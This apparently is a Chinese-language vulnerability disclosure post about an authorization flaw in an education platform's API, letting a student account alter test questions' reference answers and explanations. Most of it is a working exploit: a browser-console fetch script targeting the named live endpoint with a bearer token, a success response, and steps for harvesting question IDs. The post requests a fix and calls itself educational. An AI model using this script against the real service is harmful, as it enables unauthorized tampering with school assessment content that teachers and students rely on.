前置知识
发现过程
我们知道,由于中育早期十分疏忽,老师、学生、管理员权限分割不明,存在大量越权操作。
例如:优课畅学学生创建课程、云笔记学生上传各类文件、web端学生随意访问各种功能
显然中育之后努力了一番修复了绝大多数越权问题,现在访问一些功能便会出现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"result": null,
"targetUrl": null,
"success": false,
"error": {
"code": 0,
"message": "Required permissions are not granted.
At least one of these permissions must be granted: Administrator",
"details": null,
"validationErrors": null
},
"unAuthorizedRequest": true,
"__abp": true
}
本文揭露一个历史遗留————错题修改越权
演示
CODE
Chrome F12 控制台(CONSOLE)中执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
post={
"testPaperId": 100 /*Any available id is ok*/ ,
"content": "",
"questionsInputs": [{
"questionId": 6666 /*见下解释*/ ,
"answers": ``,
"referenceAnswer": ``/*答案*/,
"analysis": ``/*解析*/,
"difficult": 0,
"knowledge": []
}],
"relatedQstGroupInputs": []
}
fetch("http://sxz.api.zykj.org/api/services/app/Test/SetTestQstPropertiesAsync",{
method: "post",
headers: {"Authorization": "Bearer "+token/*自行获取*/, "Content-Type": "application/json"},
body: JSON.stringify(post)
})
.then(response=>response.json())
.then(json=>console.log(json))
返回示例
1
2
3
4
5
6
7
8
{
"result": null,
"targetUrl": null,
"success": true,
"error": null,
"unAuthorizedRequest": false,
"__abp": true
}
一些解释
QuestionId的获取:
- PAD错题本进入目标错题
- 进入错题笔记界面
- 创建一个无网络WIFI(i.g.不开数据的手机热点),PAD连接
- 右上角打开错题题干截图
- 出现网络错误提示并显示URL(i.g.http://sxz.api.zykj.org/Question/View/23333?showAnalysis=true)
- 记下红色部分即可
答案&解析:由HTML构成,详细运作请自见http://sxz.api.zykj.org/Question/View/看JS
总结&声明
一个很好修的越权BUG,望修复。 本文仅做学习用途,不对因为滥用该BUG导致的任何问题负责。